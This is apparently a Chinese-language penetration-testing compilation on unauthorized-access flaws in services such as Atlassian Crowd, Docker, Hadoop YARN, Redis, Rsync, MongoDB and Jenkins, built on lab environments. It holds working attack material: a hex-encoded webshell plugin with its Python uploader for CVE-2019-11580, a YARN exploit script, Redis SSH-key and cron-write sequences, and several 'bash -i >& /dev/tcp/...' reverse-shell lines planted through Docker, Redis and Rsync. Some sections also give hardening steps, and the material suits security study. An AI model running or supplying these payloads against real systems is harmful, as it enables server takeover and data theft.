5409000326d22e5d57d22e5d75780b0001040000000004000000008d53c14ee33010bde72b865c702818f65cf98880130856e2c2c5eb0c8dc1898d3d2941abfe3b63d2d5a66d58ed93123933f39edf4ceca0cdab5e2118df4a533b991a746e5914b60d3e12bce8b51e64c2b87648b2210af264394d4aebe54d177a7aa088ba6566e87f396bc0389d12e010f821ecea34a775cdaf873100bf8b02185bfadadb1a6a7f85242645f7f8d6632288f8760a3bf1147c979013a96225d882e2c7e42b836dda6e05a6add5b8946bed7abc7d16ac295748773aea1609a328b9a8acaae51cdff7c43dabb2dccd9e9fb381acf2186d96a8e47b5e7c492946098bbcf59ee6a1cb0cfb0ce2888b25f7ac5d12257b9929cbb88bde204f3ba8fbbe23db62b6b05db2071cd088c36dff60f2fb725f2a64f62428fe8387318ebccb187dfc37cf7604461d3f5d1ccfe7df1beb1084308add4856aa05777ea4e0ecc77703c8989fbc308d8e95f9c6cae620ba1bd980d1641a7139180c647dc78779cec3781c16aa7ceaca050e92fc784ef647f0577d46795f1865600d9e305fd19f511b9caa8d4a9ba2d8149f504b03041400000008005a7ff14e3ac5f9ef48030000fa05000017001c00636f6d2f63646c2f7368656c6c2f6578702e636c61737355540900033bd52e5da8d32e5d75780b0001040000000004000000008d54db76d34614dde3d81e451171e2244ddd0b1428e00041bdd094da14682040dae084385c02f4a2c8d3202a4b8a2ca7693fa38f7de9639e793197aed50fe897f417fad2748f708a936641bcb4ce191d9db3cf3e7b3cf3e73fcfff007016ae8971940d4c0ce0244e99388d490367b4b74d7c800fb5f9c8c4c738abcd2726a6f0e900cee13313155425ce4b7c6ea280b236170c5c3431884bfae5925e7d21312d7159207fde0bbce482405f79e2b640f672d8500285392f50b5767345c54bce8acf48ae115e5389c06279ee91b3ee6cd82d15affb2ab11f2649645fa7a9bf082caab5b66a25d5d7a6b5a23068a9aaee7aa09e38ee0f379c286d9652bb2231237155e29ac4758e2360d6c376ecaaab9ea663a88de88cee60e14d94c8de6d36586461165fb2ccc257981380851ba849cc5b58c04d0b8ba813d0c2126e59b88d5b84b6700777d9cbc232ee49dcb7f0005f0b8c686cdb7782557b66c35551e28581c0f8cb683d89bd6075baedf90d155bf806df0a08d3c27720a5154d69d80d9bb6dbf0edd643e5fb36090b1c7cb52802c7f625aec0f1fda92b30b49b3289bd0c2dc4a1ab5aaded79bdd09e0da276c24ce53405ac55952c38b1d354898ad9f4c5def7a25527fe1f1290eb8edf56f3dfef2a995f79a4dc64ef923c27737c3219dbabe2de0ed68bed20f19a1cce24bfff5ec6cabdc0dd3091b36a43b902275e43be2b050b0689ba4386f16de49dfa745367e2388cb753b3748df430cd0af4f3eb9dd84bb5ebc55860f3ee876a8ff43d619eb71ff58280e5597d42f24e14a980c893fbda83eeff92e846126eeffb68794fe50b91ee9b9ec0a5d871150ee30dde3dfa9781d0c78bf62dbebd4bcf3385dcc927108fb910789b369f06b57d274d61aa28b3b49fd19f4f1533cfd097c153646bc55c253b59cc7590ff15e79e424e766054722506fa2b79edcc8aec9b324af90e0696a78ccc6f289e7e068b3b6bfcd2c181cdadbf3671b492fb1d85e527182a653b182e166974e9087d07a395ec268c1a81c71e93c1106ab8c9cb0e5843429f49f94e330e98bc1b06b81ae478051ce16a02c3bc538bbc4d477011a3ac2db17a1c754ab0c6d9124ed626c24f9cf22011ae20bfc5e47e894312ef491c9638923e4725dee74355b65892dbf51dfa763bf6370e6997a55ec753a14ffc0b504b01021e031400000008007c7ef14e544c2527eb00000004020000140018000000000001000000ed810000000061746c61737369616e2d706c7567696e2e786d6c55540500039bd32e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000040018000000000000001000ed4139010000636f6d2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000080018000000000000001000ed4177010000636f6d2f63646c2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a0000000000d07df14e0000000000000000000000000e0018000000000000001000ed41b9010000636f6d2f63646c2f7368656c6c2f555405000357d22e5d75780b000104000000000400000000504b01021e031400000008008878f14ec2481cb07d0100008d030000160018000000000001000000ed8101020000636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540500036fc82e5d75780b000104000000000400000000504b01021e0314000000080085b2f04ecafaf82fe500000004180000170018000000000000000000a481ce030000636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540500031add2d5d75780b000104000000000400000000504b01021e03140000000800b178f14ed0054a4648030000fa050000170018000000000000000000a48104050000636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554050003bdc82e5d75780b000104000000000400000000504b01021e0314000000080080b2f04e5e4c2ce89701000004180000110018000000000000000000a4819d080000636f6d2f63646c2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e0314000000080080b2f04e7261dc5f94010000041800000d0018000000000000000000a4817f0a0000636f6d2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e03140000000800b57df14ef98bc46d88010000c3030000160018000000000001000000a4815a0c0000636f6d2f63646c2f7368656c6c2f6578702e6a617661555405000326d22e5d75780b000104000000000400000000504b01021e031400000008005a7ff14e3ac5f9ef48030000fa050000170018000000000000000000a481320e0000636f6d2f63646c2f7368656c6c2f6578702e636c61737355540500033bd52e5d75780b000104000000000400000000504b0506000000000b000b00bf030000cb11000000000d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561372d2d0d0a"data = s.decode("hex")r = requests.post(url=url_vuln, headers=headers, data=data, verify=False)if r.status_code ==200 and "Installed" in r.content:printprint r.contentgetwebshell(url)else:print "No Exit!"
def getwebshell(url):webshell_url = url + "/crowd/plugins/servlet/exp?cmd=whoami"r = requests.get(webshell_url, verify=False)if r.status_code==200:print ">>>Get Webshell\n"print webshell_url+'\n'print "Exec command= whoami\n\nResult= %s"%r.textif __name__ == '__main__':url = sys.argv[1]is_url(url)
[root@localhost CVE-2019-11580-master]# python CVE-2019-11580.py http://192.168.32.183:8095_______ ________ ___ ___ __ ___ __ __ _____ ___ ___ / ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ /_ | ____|/ _ \ / _ \ | | \ \ / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || | \ \/ / | __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____ \ / | |____ / /_| |_| || | / / | || |___) | (_) | |_| |\_____| \/ |______| |____|\___/ |_| /_/ |_||_|____/ \___/ \___/ python CVE-2019-11580.py http://xx.xx.xx.xxhttp://192.168.32.183:8095/crowd/admin/uploadplugin.actionInstalled plugin /opt/atlassian-crowd-3.4.3/apache-tomcat/temp/plugindev-7114709723171005763rce.jar>>>Get Webshellhttp://192.168.32.183:8095/crowd/plugins/servlet/exp?cmd=whoamiExec command= whoamiResult= root
然后访问获取的shell地址,无需认证登录即可获取IP地址。
clickhouse 未授权访问漏洞
漏洞描述
恶意攻击者可以在不提供有效凭据的情况下访问 ClickHouse 服务器。这可能导致未经授权的访问敏感数据,或允许攻击者修改或删除数据。默认情况下,clickhouse-server会在8123端口上监控HTTP请求(这可以在配置中修改)。
环境搭建
sudo apt-get install -y apt-transport-https ca-certificates dirmngr
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754echo "deb https://packages.clickhouse.com/deb stable main" | sudo tee \/etc/apt/sources.list.d/clickhouse.list
sudo apt-get updatesudo apt-get install -y clickhouse-server clickhouse-clientsudo service clickhouse-server start
clickhouse-client
漏洞复现
首先确定是否使用了 ClickHouse 数据库的接口
curl http://192.168.0.5:8123
根据文档得知,正常返回为 Ok. , 且存在 X-ClickHouse-Summary
作为返回包的 Header
测试是否可以执行SQL命令, 部分会开启身份验证导致未授权执行失败
/?query=SHOW%20DATABASES
成功执行语句获取数据,执行其他命令探测出网
http://192.168.0.5:8123/?query=SELECT%20*%20FROM%20url(%27http://cf1cfb13.dns.1433.eu.org/%27,%20CSV,%20%27column1%20String,%20column2%20UInt32%27)%20LIMIT%203;
可以查看 system库中的执行记录表来获取最近执行的所有SQL语句来快速定位可利用的信息(获取敏感用户信息,数据库名以及数据表名)
CouchDB未授权访问漏洞
漏洞描述
CouchDB因配置不当可以未授权访问,被攻击者恶意利用。
攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意清空所有数据。
漏洞搭建
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.zh-cn.md
使用docker-compose启动。
cd couchdb/CVE-2017-12636/
docker-compose up -d
漏洞利用
访问5984端口,就可以看到版本信息。
访问/_config
接口,可以看到couchDB配置信息。
Docker未授权访问漏洞
漏洞描述
恶意攻击者可以在未经授权的情况下访问 Docker 服务器或容器。这可能导致敏感数据泄露,或允许攻击者执行未经授权的操作,如添加、修改或删除容器。
环境搭建
安装docker
yum install -y docker
修改/usr/lib/systemd/system/docker.service
服务,启动API接口。
ExecStart=/usr/local/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
重启docker服务。
systemctl daemon-reload
systemctl restart docker
漏洞复现
输入ip:2375/version
就会列出基本信息,和docker version命令效果一样。
利用docker容器写定时任务反弹shell
我们可以利用未授权访问的docker remote api 开启一个容器并挂载至根目录,由此我们可以获得任意读写的权限,然后我们再将反弹shell命令写入定时任务crontab中,即可使宿主机反弹shell。
[root@localhost ~]# docker -H tcp://192.168.32.183:2375 run -it --user root --privileged -v /var/spool/cron/:/var/spool/cron/ alpine sh
写入定时计划
/ # echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/8088 0>&1' >> /var/spool/cron/root
安全加固
在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:
设置ACL,仅允许信任的来源IP连接;
设置TLS认证,官方的文档为Protect the Docker daemon socket
客户端与服务器端通讯的证书生成后,可以通过以下命令启动docker daemon:
docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock
客户端连接时需要设置以下环境变量
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
druid 监控页未授权访问漏洞
漏洞简介
Druid是阿里巴巴数据库出品的,为监控而生的数据库连接池,并且Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控,首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问.
环境搭建
pom.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.3</version><relativePath/> <!-- lookup parent from repository --></parent><groupId>com.example</groupId><artifactId>demo</artifactId><version>0.0.1-SNAPSHOT</version><name>demo</name><description>Demo project for Spring Boot</description><properties><java.version>1.8</java.version></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-jdbc</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>2.2.2</version></dependency><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><scope>runtime</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-starter</artifactId><version>1.1.1</version></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-resources-plugin</artifactId><version>3.1.0</version></plugin></plugins></build></project>
application.properties
配置
#数据库连接
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/t1?serverTimezone=Asia/Shanghai
spring.datasource.username=sec
spring.datasource.password=sec123##启用StatFilter
spring.datasource.druid.web-stat-filter.enabled=true#启用内置的监控页面
spring.datasource.druid.stat-view-servlet.enabled=true
漏洞复现
直接访问druid/index.html
。
可以通过session功能进行伪造用户进行登录
修复方法
禁用durid
application.properties
配置
spring.datasource.druid.stat-view-servlet.enabled=false
spring.datasource.druid.web-stat-filter.enabled=false
设置鉴权
#设置登录用户名
spring.datasource.druid.stat-view-servlet.login-username=admin
#设置登录密码
spring.datasource.druid.stat-view-servlet.login-password=123
修改路径
##内置监控页面的地址
spring.datasource.druid.stat-view-servlet.url-pattern=/druid11111111111111111111111111111/*
Dubbo 未授权访问漏洞
漏洞简介
Dubbo是阿里巴巴公司开源的一个高性能优秀的 服务框架,使得应用可通过高性能的 RPC 实现服务的输 出和输入功能,可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。
环境搭建
git clone https://github.com/alibaba/dubbo/tree/2.5.x
进入dubbo-2.5.x 目录
执行mvn clean package -Dmaven.test.skip=true
会生成如下结果
在dubbo-2.5.x/dubbo-simple/dubbo-monitor-simple/target
目录会发现生成了dubbo-monitor-simple-2.5.10-assembly.tar.gz
,解压这个文件夹
查看配置文件,会看到dubbo协议端口为7070
[root@localhost dubbo-monitor-simple-2.5.10]# cat conf/dubbo.properties dubbo.container=log4j,spring,registry,jetty
dubbo.application.name=simple-monitor
dubbo.application.owner=
dubbo.registry.address=multicast://224.5.6.7:1234
#dubbo.registry.address=zookeeper://127.0.0.1:2181
#dubbo.registry.address=redis://127.0.0.1:6379
#dubbo.registry.address=dubbo://127.0.0.1:9090
dubbo.protocol.port=7070
dubbo.jetty.port=8080
dubbo.jetty.directory=${user.home}/monitor
dubbo.charts.directory=${dubbo.jetty.directory}/charts
dubbo.statistics.directory=${user.home}/monitor/statistics
dubbo.log4j.file=logs/dubbo-monitor-simple.log
启动dubbo
[root@localhost dubbo-monitor-simple-2.5.10]# bin/start.sh
漏洞利用
nc连接7070
端口,7070端口允许您执行各种管理任务,如查看注册表的状态、列出可用服务和查看注册表的日志级别。
[root@localhost dubbo-monitor-simple-2.5.10]# nc 127.0.0.1 7070
ls
com.alibaba.dubbo.monitor.MonitorService
dubbo>help
Please input "help [command]" show detail.status [-l] - Show status.pwd - Print working default service.trace [service] [method] [times] - Trace the service.exit - Exit the telnet.help [command] - Show help.invoke [service.]method(args) - Invoke the service method.count [service] [method] [times] - Count the service.clear [lines] - Clear screen.ls [-l] [service] - List services and methods.log level - Change log level or show log ps [-l] [port] - Print server ports and connections.cd [service] - Change default service.
dubbo>status
OK
dubbo>pwd
/
如果服务具有命令执行功能,则使用 “invoke” 命令可能会执行命令,因为 “invoke” 命令用于调用特定的服务方法。
Hadoop YARN resourcemanager 未授权访问漏洞
漏洞描述
负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器。
环境搭建
使用vulhub
[root@localhost ~]# ls /opt/vulhub-master/hadoop/unauthorized-yarn/
docker-compose.yml exploit.py README.md[root@localhost ~]# docker-compose up
访问8088端口,可以看到Hadoop YARN ResourceManager WebUI界面。
漏洞利用
启动nc
[root@localhost ~]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
攻击脚本
[root@localhost unauthorized-yarn]# cat exploit.py
#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/'
lhost = '192.168.32.131' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)
成功攻击成功
Hadoop Yarn RPC未授权访问漏洞
漏洞简述
Hadoop Yarn作为Hadoop核心组件之一,负责将资源分配至各个集群中运行各种应用程序,并调度不同集群节点上的任务执行。Hadoop Yarn默认对外开放RPC服务,攻击者可利用RPC服务执行任意命令,控制服务器。
同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样,因此即使在 REST API有授权认证的情况下,RPC服务所在端口仍然可以未授权访问。
环境搭建
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
需要修改docker-compose.yml,添加8032端口映射。
curl请求8032端口。
[root@localhost tmp]# curl http://192.168.32.183:8032
It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon.
漏洞利用
EXP:https://github.com/cckuailong/YarnRpcRCE
[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "curl 0dccw6.dnslog.cn"
log4j:WARN No appenders could be found for logger (org.apache.hadoop.util.Shell).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.
查看日志
反弹shell
[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "bash -i >& /dev/tcp/192.168.32.183/9999 0>&1"
成功建立连接
[root@localhost tmp]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.19.0.5.
Ncat: Connection from 172.19.0.5:59812.
bash: cannot set terminal process group (271): Inappropriate ioctl for device
bash: no job control in this shell
<00863_0003/container_1658816800863_0003_01_000001# whoami
whoami
root
<00863_0003/container_1658816800863_0003_01_000001#
漏洞修复
- Apache Hadoop官方建议用户开启Kerberos认证。
- 设置 Hadoop RPC服务所在端口仅对可信地址开放。
- 建议升级并启用Kerberos的认证功能,阻止未经授权的访问。
InfluxDB API 未授权访问漏洞
JBoss未授权访问漏洞
漏洞描述
JBoss 是一个管理 EJB 的容器和服务器,支持 EJB 1.1、EJB 2.0 和 EJB3 的规范。但 JBoss 核心服务不包括支持 servlet/JSP 的 WEB 容器,一般与 Tomcat 或 Jetty 绑定使用。JBoss 默认在 8080 端口监听。
在低版本的 JBoss 中,默认可以访问 JBoss Web 控制台(http://IP:8080/jmx-console),无需用户名和密码。通过 JBoss 未授权访问管理控制台的漏洞,可以进行后台服务管理,可以通过脚本命令执行系统命令,如反弹 shell、wget 写 Webshell 文件。
环境搭建
这里用CVE-2017-7504的漏洞环境,启动环境
[root@localhost CVE-2017-7504]# docker-compose up
浏览器访问8080端口
漏洞复现
发现jboss默认页面,点击进入控制页
假设是未授权访问的话,点击JMX-Console
不会提示输入用户名、密码,而这个地方用的是别的漏洞的环境,用户名密码都是admin、admin,所以就假装是不用输入用户名密码的
往下找jboss.deployment进入应用部署页面
进入应用部署页面后,下滑找到void addURL()
,这里ParamValue
部分填写远程服务器上的木马的地址。
访问iceword
路径,就可以看到webshell
Jenkins未授权访问漏洞
漏洞描述
部署Jenkins 1.62版本,将全局授权策略打开,目前新版本的Jenkins已默认需要用户登录,但老版的中默认配置是"任意用户可以做任何事",存在未授权访问的问题。
环境搭建
选择1.62版本进行下载,http://archives.jenkins-ci.org/war-stable/1.625.1/jenkins.war
将WAR包丢到tomcat的webapps里面,启动tomcat
漏洞复现
进入管理页面:http://192.168.32.131:8080/jenkins/manage
进入脚本命令行,后缀输入script进入脚本命令行,输入:println "ls".execute().text
,就可以执行ls
命令。
Jupyter Notebook 未授权访问漏洞
漏洞描述
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为 Jupyter Notebook 配置密码,将导致未授权访问漏洞,游客可在其中创建一个 console 并执行任意 Python 代码和命令。
环境搭建
version: '2'
services:web:image: vulhub/jupyter-notebook:5.2.2command: start-notebook.sh --NotebookApp.token=''ports:- "8888:8888"
运行后,访问 http://your-ip:8888
将看到 Jupyter Notebook 的 Web 管理界面,并没有要求填写密码。
漏洞复现
选择 new -> terminal 即可创建一个控制台:
直接执行任意命令:
MongoDB未授权访问漏洞
漏洞描述
启动MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库。
环境搭建
docker下载mongo镜像
docker run -it -p 27017:27017 mongo
漏洞复现
cli执行
┌──(root💀kali)-[~]
└─# mongo 192.168.32.131
MongoDB shell version v5.3.1
connecting to: mongodb://192.168.32.131:27017/test?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("c7ddf3c3-2fbc-4b5a-b9a4-91dfce9703a2") }
MongoDB server version: 5.0.8
WARNING: shell and server versions do not match> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
msf执行
msf6 > use auxiliary/scanner/mongodb/mongodb_login
msf6 auxiliary(scanner/mongodb/mongodb_login) > set rhosts 192.168.32.131
rhosts => 192.168.32.131
msf6 auxiliary(scanner/mongodb/mongodb_login) > run[*] 192.168.32.131:27017 - Scanning IP: 192.168.32.131
[+] 192.168.32.131:27017 - Mongo server 192.168.32.131 doesn't use authentication
[*] 192.168.32.131:27017 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
修复建议
(1).新建管理账户开启MongoDB授权
新建终端[参数默认可以不加,若有自定义参数,才要加上,下同]
mongod --port 27017 --dbpath /data/db1
另起一个终端,运行下列命令
use admindb.createUser({user: "adminUser",pwd: "adminPass",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]})
管理员创建成功,现在拥有了用户管理员 用户名:adminUser
密码:adminPass
(2).本地访问
bind 127.0.0.1
(3).修改默认端口
修改默认的mongoDB端口(默认为: TCP 27017)为其他端口
(4).禁用HTTP和REST端口
MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface = false
(5).开启日志审计功能
审计功能可以用来记录用户对数据库的所有相关操作。这些记录可以让系统管理员在需要的时候分析数据库在什么时段发生了什么事情
(6).开启auth认证
/etc/mongodb.conf
auth = true
NFS未授权访问漏洞
漏洞描述
NFS(Network File System)是一种网络文件系统,允许在不同的网络主机上共享文件。当NFS服务器未正确配置或缺少访问控制机制时,可能存在未授权访问漏洞。攻击者可以利用此漏洞访问受影响主机上的文件和数据,甚至可以修改或删除敏感信息。
环境搭建
# 安装nfs服务
yum install nfs-utils.x86_64 -y# 启动服务
systemctl start nfs-server.service# 设置开机自启
systemctl enable rpcbind.service
systemctl enable nfs-server.service# 配置nfs
vim /etc/exports/ *(rw,sync,no_root_squash)# 启动共享
exportfs -r
漏洞利用
查看共享
[root@localhost tmp]# showmount -e
Export list for localhost.localdomain:
/ *
客户端挂载命令
mkdir /tmp/test
mount -t nfs 192.168.32.183:/ /tmp/test
扫描nfs
[root@localhost tmp]# rpcinfo -p 192.168.32.183program vers proto port service100000 4 tcp 111 portmapper100000 3 tcp 111 portmapper100000 2 tcp 111 portmapper100000 4 udp 111 portmapper100000 3 udp 111 portmapper100000 2 udp 111 portmapper100005 1 udp 20048 mountd100005 1 tcp 20048 mountd100005 2 udp 20048 mountd100024 1 udp 38880 status100005 2 tcp 20048 mountd100024 1 tcp 60551 status100005 3 udp 20048 mountd100005 3 tcp 20048 mountd100003 3 tcp 2049 nfs100003 4 tcp 2049 nfs100227 3 tcp 2049 nfs_acl100003 3 udp 2049 nfs100003 4 udp 2049 nfs100227 3 udp 2049 nfs_acl100021 1 udp 48592 nlockmgr100021 3 udp 48592 nlockmgr100021 4 udp 48592 nlockmgr100021 1 tcp 42350 nlockmgr100021 3 tcp 42350 nlockmgr100021 4 tcp 42350 nlockmgr
查看挂载的目录,会出现所有的/目录下的文件
ls /tmp/test/
RabbitMQ 未授权访问漏洞
漏洞描述
RabbitMQ未授权访问漏洞是指在没有安全验证的情况下,攻击者可以通过网络访问RabbitMQ服务器,获取或修改数据、执行命令等。
Redis未授权访问漏洞
简介
redis是一个开源的存储系统,支持数据的持久化存储、支持key-value、list、set等数据结构存储,支持备份。
但若redis存在未授权访问,就会导致攻击者可以无需认证就能访问redis内部资源,获取敏感文件,甚至执行flushall清空数据,给root账户写入ssh公钥直接远程登录目的服务器。
环境搭建
wget https://download.redis.io/releases/redis-5.0.14.tar.gz
tar xvf redis-5.0.14.tar.gz
cd redis-5.0.14
make -j 4
make install
直接运行redis-server
redis-server --protected-mode no
漏洞复现
root@l-virtual-machine:/opt# redis-cli -h 192.168.32.141
192.168.32.141:6379> keys *
(empty array)
SSH私钥访问
$ ssh-keygen -t rsa
$ (echo -e " "; cat /root/.ssh/id_rsa.pub; echo -e " ") > foo.txt
$ cat foo.txt | redis-cli -h 192.168.32.141 -x set test
$ redis-cli -h 192.168.32.141
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
反弹shell
此方法在ubuntu中因无法忽略乱码导致失败
#shell.sh
echo -e "\n\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.32.141/9999 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
Rsync未授权访问漏洞
漏洞描述
Rsync
是Linux
下一款数据备份工具,支持通过rsync
协议、ssh
协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员。其中rsync
协议默认监听873
端口,而一般开发人员安全意识薄弱的情况下,如果目标开启了rsync
服务,并且没有配置ACL
或访问密码,我们将可以读写目标服务器文件。
环境搭建
rsyncd.conf
uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log[src]
path = /
comment = src path
read only = no
启动rsync
rsync --no-detach --daemon --config /etc/rsyncd.conf
漏洞利用
环境启动后,我们用rsync命令访问之:
[root@localhost tmp]# rsync rsync://192.168.32.183:873/
src src path
查看src
目录
[root@localhost tmp]# rsync rsync://192.168.32.183:873/
src src path
You have new mail in /var/spool/mail/root
[root@localhost tmp]# rsync rsync://192.168.32.183:873/src
drwxr-xr-x 28 2022/07/26 03:45:11 .
-rwxr-xr-x 0 2022/07/26 03:45:11 .dockerenv
-rwxr-xr-x 101 2022/05/19 09:45:03 docker-entrypoint.sh
drwxr-xr-x 6 2018/01/21 13:42:04 bin
drwxr-xr-x 6 2017/07/13 09:01:05 boot
drwxr-xr-x 6 2022/07/26 03:45:11 data
drwxr-xr-x 340 2022/07/26 03:45:11 dev
drwxr-xr-x 66 2022/07/26 03:45:11 etc
drwxr-xr-x 6 2017/07/13 09:01:05 home
drwxr-xr-x 21 2018/01/21 13:42:05 lib
drwxr-xr-x 34 2017/10/08 20:00:00 lib64
drwxr-xr-x 6 2017/10/08 20:00:00 media
drwxr-xr-x 6 2017/10/08 20:00:00 mnt
drwxr-xr-x 6 2017/10/08 20:00:00 opt
dr-xr-xr-x 0 2022/07/26 03:45:11 proc
drwx------ 37 2017/10/08 20:00:00 root
drwxr-xr-x 80 2022/07/26 03:48:12 run
drwxr-xr-x 4,096 2017/10/08 20:00:00 sbin
drwxr-xr-x 6 2017/10/08 20:00:00 srv
dr-xr-xr-x 0 2022/07/25 22:41:55 sys
drwxrwxrwt 6 2022/07/26 03:44:41 tmp
drwxr-xr-x 42 2017/10/08 20:00:00 usr
drwxr-xr-x 17 2017/10/08 20:00:00 var
这是一个Linux根目录,我们可以下载任意文件:
[root@localhost tmp]# rsync -av rsync://192.168.32.183:873/src/etc/passwd ./
receiving incremental file list
passwdsent 43 bytes received 1,283 bytes 2,652.00 bytes/sec
total size is 1,197 speedup is 0.90
或者写入定时计划:
echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/9999 0>&1' >> shell
[root@localhost tmp]# rsync -av shell rsync://192.168.32.183:873/src/etc/cron.d/root
sending incremental file list
shellsent 146 bytes received 35 bytes 362.00 bytes/sec
total size is 55 speedup is 0.30
Spark 未授权访问漏洞
漏洞描述
Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。该漏洞的本质是未授权用户可以向Master节点提交一个应用,Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码,会导致任意代码执行,威胁Spark集群整体的安全性。
环境搭建
git clone https://github.com/vulhub/vulhub.git
cd /opt/vulhub-master/spark/unacc/
docker-compose up
漏洞检测
环境启动后,访问http://your-ip:8080
即可看到master的管理页面,访问http://your-ip:8081
即可看到slave的管理页面。
该漏洞本质是未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。
提交方式有两种:
利用REST API
构造payload
POST /v1/submissions/create HTTP/1.1
Host: your-ip:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
